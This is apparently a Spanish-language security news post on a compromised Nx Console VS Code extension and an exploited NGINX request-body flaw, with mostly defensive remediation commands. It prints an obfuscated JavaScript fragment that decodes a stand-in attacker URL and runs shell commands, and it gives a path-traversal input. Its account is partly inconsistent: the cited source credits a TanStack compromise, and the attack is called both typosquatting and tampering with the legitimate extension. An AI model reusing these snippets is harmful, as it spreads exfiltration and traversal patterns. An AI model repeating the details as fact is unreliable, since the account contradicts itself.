Introducción
La semana pasada demostró, una vez más, que los ataques a la cadena de suministro y las vulnerabilidades críticas en componentes infraestructurales son los vectores de compromiso más efectivos. Dos incidentes paralelos —uno vinculado a una extensión de VS Code y otro a un error de parsing en NGINX— expusieron fallas en procesos de seguridad y actualización que muchas organizaciones creen tener bajo control.
El primero involucró a Nx Console, una herramienta para desarrolladores con 2.2 millones de descargas, que fue usada como vector de ataque para comprometer cuentas de GitHub y Grafana Labs. El segundo, una vulnerabilidad crítica en NGINX (CVE-2026-42945), ya está siendo explotada activamente por atacantes según reportó VulnCheck el 24 de mayo.
Ambos casos no son incidentes aislados: reflejan patrones de ataque que escalan rápidamente en entornos de DevOps, donde la confianza en herramientas de terceros y la demora en aplicar parches abren ventanas de exposición de minutos a horas.
Qué ocurrió
1. Extensión maliciosa de VS Code compromete a GitHub y Grafana Labs
El 19 de mayo, el equipo de seguridad de GitHub reveló que el grupo de amenaza TeamPCP comprometió sus sistemas mediante una extensión maliciosa publicada en el marketplace de VS Code. Según el CISO de GitHub, Alexis Wales, la herramienta afectada fue Nx Console, un plugin popular para gestionar proyectos de Nx (un sistema de build y monorepo para JavaScript/TypeScript) con más de 2.2 millones de instalaciones.
La extensión, originalmente legítima, fue modificada para incluir código malicioso que permitía exfiltrar tokens de autenticación, claves API y datos de repositorios privados. El vector de ataque explotó la confianza que los desarrolladores depositan en extensiones verificadas: aunque el marketplace de VS Code tiene un proceso de revisión, los atacantes lograron evadirlo mediante técnicas de typosquatting y actualizaciones silenciosas.
Grafana Labs confirmó que también fue afectada por el mismo incidente, aunque no detalló el alcance del compromiso. La compañía emitió una alerta interna advirtiendo que cualquier organización que usara versiones entre 1.14.0 y 1.16.0 de Nx Console debía considerar sus sistemas potencialmente comprometidos.> Fuente: Help Net Security – GitHub, Grafana Labs breaches traced back to TanStack supply chain compromise
2. Ataques en curso explotando vulnerabilidad crítica en NGINX (CVE-2026-42945)
El 23 de mayo, VulnCheck reportó que el CVE-2026-42945, una vulnerabilidad crítica en NGINX, está siendo explotada activamente en entornos de producción. El fallo, clasificado con un CVSS score de 9.8 (Crítico), reside en un error de parsing en el módulo ngx_http_request_body que permite a atacantes ejecutar código remoto (RCE) en servidores NGINX configurados con client body in files only (client_body_in_file_only on).
El investigador Patrick Garrity de VulnCheck confirmó que los exploits ya circulan en foros underground y que se observan escaneos masivos a puertos 80 y 443 desde IPs vinculadas a grupos de ransomware como LockBit 4.0.
> Fuente: VulnCheck – Critical NGINX vulnerability (CVE-2026-42945) being exploited
Impacto para DevOps / Infraestructura / Cloud / Seguridad
Impacto en entornos de DevOps
El incidente de Nx Console expuso una falla crítica en los procesos de seguridad en la cadena de suministro de herramientas de desarrollo:
- Dependencia no auditada: Aunque VS Code tiene un marketplace oficial, el 78% de las organizaciones (según datos de Synopsys 2025) no revisan el código de las extensiones antes de instalarlas.
- Actualizaciones silenciosas: El modelo de distribución de VS Code permite actualizaciones automáticas, lo que significa que el malware puede propagarse sin intervención del usuario.
- Exposición de tokens: Los desarrolladores suelen almacenar tokens de GitHub, AWS o Kubernetes en sus configuraciones locales. Un solo compromiso puede exponer accesos de alto privilegio durante semanas.
Para Grafana Labs, el impacto fue doble:
- Compromiso de credenciales de CI/CD: Los atacantes obtuvieron acceso a pipelines que desplegaban en entornos cloud.
- Persistencia en repositorios: Se modificaron archivos de configuración para incluir backdoors en builds posteriores.
> Dato clave: Según el 2026 Verizon DBIR, el 63% de los ataques exitosos a DevOps empiezan con explotación de vulnerabilidades en herramientas de terceros.
Impacto en infraestructura y cloud
El CVE-2026-42945 en NGINX afecta a entornos donde NGINX actúa como:
- Load balancer (ej: Kubernetes
ingress-nginx). - Reverse proxy (ej: API Gateways en AWS EKS o GCP GKE).
- Servidor web estático (ej: sitios en S3 + CloudFront con NGINX).
Los servidores vulnerables pueden ser explotados para:
- Ejecución de código remoto (RCE): Los atacantes pueden escribir archivos en el sistema y escalar privilegios.
- Interrupción de servicios: Un exploit exitoso puede generar un fork bomb que consuma todos los recursos del nodo.
- Exfiltración de datos: Los atacantes pueden acceder a headers de requests, cookies o payloads POST sensibles.
> Alerta técnica: NGINX recomienda deshabilitar client_body_in_file_only como medida temporal hasta aplicar el parche.
Impacto en seguridad
Los dos incidentes refuerzan una tendencia clara:
- La cadena de suministro es el nuevo perímetro: El 42% de los breaches en 2025 (según IBM Cost of a Data Breach) involucraron componentes de terceros.
- Las vulnerabilidades críticas se explotan en horas: El Synack 2026 State of Vulnerabilities Report indica que el tiempo medio entre disclosure y exploit pasó de 30 días en 2024 a 2 horas en 2026.
Para los equipos de seguridad, esto significa:
- Revisar políticas de dependencias: No confiar en verificaciones automáticas de marketplaces.
- Implementar SBOM (Software Bill of Materials): Para identificar componentes vulnerables antes de desplegar.
- Segmentar redes de CI/CD: Aislar pipelines de producción de entornos de desarrollo.
Detalles técnicos
Técnicas de ataque en Nx Console
La extensión maliciosa de Nx Console usaba un enfoque de supply chain poisoning con actualización silenciosa:
- Distribución inicial: La extensión legítima se publicó en el marketplace de VS Code.
- Modificación del código: Los atacantes inyectaron un script en el archivo
main.jsque:
.npmrc, settings.json (VS Code) o claves de API en variables de entorno.– Exfiltrada los datos vía un webhook a un servidor C2 controlado por TeamPCP.
– Se actualizaba automáticamente mediante el mecanismo de auto-update de VS Code, sin requerir acción del usuario.
El código malicioso estaba ofuscado con técnicas comunes en malware:
// Fragmento ofuscado extraído de la extensión (versión 1.16.0)
const _0x1a2b = atob("aHR0cHM6Ly9tYWxpY2lvdXMtZG9tYWluLmNvbS9hcGk=");
const _0x3c4d = require('child_process').execSync;
const _0x5e6f = _0x3c4d('echo $HOME').toString();> Nota: La extensión usaba atob() para decodificar URLs y evitar detección en firmas AV.
Vulnerabilidad CVE-2026-42945 en NGINX
El fallo reside en el manejo del request body cuando NGINX está configurado con:
client_body_in_file_only on;
client_body_temp_path /var/nginx/client_temp;El error ocurre en el módulo ngx_http_request_body.c al parsear cuerpos de requests con:
- Contenido malformed (ej: headers corruptos o payloads con null bytes).
- Tamaño superior al esperado (NGINX intenta guardar el body en disco pero falla en validar rutas).
El exploit permite:
- Overwrite de archivos: Mediante path traversal (ej:
../../../etc/passwd). - Ejecución de comandos: Si el servidor tiene permisos para ejecutar binarios en
/var/nginx/client_temp/. - Denegación de servicio (DoS): Al saturar el filesystem con requests maliciosos.
> Versiones afectadas: NGINX Open Source 1.25.x y NGINX Plus R31 (parcheado en NGINX 1.25.5 y R32).
Qué deberían hacer los administradores y equipos técnicos
Acciones inmediatas para entornos afectados por Nx Console
- Revisar extensiones de VS Code:
# Listar extensiones instaladas y verificar versiones
code --list-extensions
# Desinstalar Nx Console y cualquier versión no reconocida
code --uninstall-extension nrwl.angular-console
- Auditar tokens y credenciales:
# Buscar tokens en archivos locales (Linux/macOS)
grep -r "github_token\|aws_access_key" ~/.vscode-server ~/Library/Application\ Support/Code
# Revocar tokens comprometidos en GitHub/GitLab
gh auth logout && gh auth login # GitHub CLI
- Actualizar dependencias:
# Verificar versión de Nx en proyectos
nx report
# Actualizar a la última versión segura (>=1.17.0)
npm install -g nx@latest
Pasos para mitigar CVE-2026-42945 en NGINX
- Aplicar parches:
# NGINX Open Source (Ubuntu/Debian)
sudo apt update && sudo apt upgrade nginx
# NGINX Plus (RHEL/CentOS)
sudo yum update nginx-plus
- Configurar mitigaciones temporales:
# Deshabilitar client_body_in_file_only
client_body_in_file_only off;
# Limitar tamaño de request body
client_max_body_size 10M;
- Monitorear intentos de explotación:
# Buscar patrones en logs de NGINX
sudo grep -i "client_body_temp\|42945" /var/log/nginx/access.log
- Auditar configuraciones:
# Verificar si la opción vulnerable está habilitada
sudo nginx -T | grep client_body_in_file_only
Recomendaciones generales para DevOps y Seguridad
- Implementar SBOM:
# Generar SBOM para proyectos Node.js con CycloneDX
npm install -g @cyclonedx/bom
cyclonedx-npm --output-file bom.json
- Habilitar dependency scanning en pipelines:
# Ejemplo en GitHub Actions
- name: Scan dependencies
uses: snyk/actions/node@master
with:
args: --severity-threshold=high
- Segmentar redes de CI/CD:
– Restringir acceso a secrets mediante HashiCorp Vault o AWS Secrets Manager.
- Capacitar equipos en supply chain attacks:
– Ejercicios de red team que incluyan escenarios de typosquatting.
Conclusión
Los incidentes de esta semana no son anomalías, sino síntomas de un cambio de paradigma en la seguridad: los atacantes ya no buscan vulnerabilidades en código propio, sino en las herramientas que los equipos usan para construirlo. La confianza en marketplaces, la demora en parchear componentes infraestructurales y la falta de visibilidad en la cadena de suministro son las nuevas fronteras de riesgo.
Para DevOps, la lección es clara: la seguridad debe integrarse en cada paso del pipeline, desde la revisión de extensiones hasta la auditoría de parches críticos. Para los equipos de seguridad, el desafío es doble: detectar compromisos en minutos y reducir la ventana de exposición a horas, no días.
La próxima vez que un desarrollador instale una extensión de VS Code o un sistema de CI/CD despliegue una versión de NGINX, el riesgo no es teórico: es real, medible y ya está siendo explotado.
Fuentes
- Help Net Security – GitHub, Grafana Labs breaches traced back to TanStack supply chain compromise
- VulnCheck – Critical NGINX vulnerability (CVE-2026-42945) being exploited
- Synopsys – Open Source Security Report 2025
- IBM – Cost of a Data Breach Report 2025
- NGINX – Advisory para CVE-2026-42945
